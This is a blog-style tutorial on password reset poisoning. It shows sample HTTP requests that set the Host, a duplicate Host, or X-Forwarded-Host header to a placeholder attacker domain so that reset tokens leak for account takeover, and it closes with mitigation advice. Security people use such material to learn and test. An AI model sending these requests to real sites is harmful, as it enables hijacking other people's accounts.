Learn how to find a bug in the password reset function
Before We get into this blog, you can check out my YouTube channel for more cybersecurity and Hacking videos and update in the future.
YouTube channel link — https://www.youtube.com/channel/UCZq87M0I0-zEfLuyyfEeE6Q
Password reset poisoning is a header-based attack, where an attacker can manipulate the URL of a password reset link. Through adding or modifying HTTP request header values during an application’s password reset process, it may be possible to overwrite the domain of the link sent to the user:
Hi m8r0wn,Click the link below to reset your password:
https://<attacker-domain>/reset?token=123456789
Once clicked, the reset token is relayed to an attacker-controlled domain — resulting in account takeover.
Photo by Author
Host:
header value to an attacker-controlled address:POST /login/password-reset HTTP/1.1
Host: <attacker-domain>
..
{"email":"[email protected]"}
4. The user will receive a legitimate password reset email from the site. However, the link containing the secret reset token will show our modified header value:https://<attacker-domain>/reset?token=123456789
5. Once clicked by the user, the attacker can intercept the token and replay its value on the target application to successfully reset the victim's password for full account takeover!
Workflow by PortSwigger
Host the header not working? Try these techniques:
Depending on how the server reacts to duplicate Host
headers in the HTTP request, the malicious input may take precedence over the default:
POST /login/password-reset HTTP/1.1
Host: example.com
Host: <attacker-domain>
...
Override headers such as X-Forwarded-Host
, X-Forwarded-Server
, X-HTTP-Host-Override
, and X-Host
can sometimes work to replace the Host
header value— resulting in successful exploitation:
POST /login/password-reset HTTP/1.1
Host: example.com
X-Forwarded-Host: <attacker-domain>
...
Password reset poisoning can occur when a website relies on header values to direct traffic or craft page links. If left unchecked, an attacker can inject their own values and modify the intended behavior of the application.
The easiest approach is to avoid using header values to define site navigation. Request headers are not protected fields and can be modified by the user to inject malicious inputs. Additionally, performing Host
header validation and removing support for override headers such as X-Forwarded-Host
can be good mitigating strategies.
For more prevention methods, check out the Preventing HTTP Host header attacks section of this article.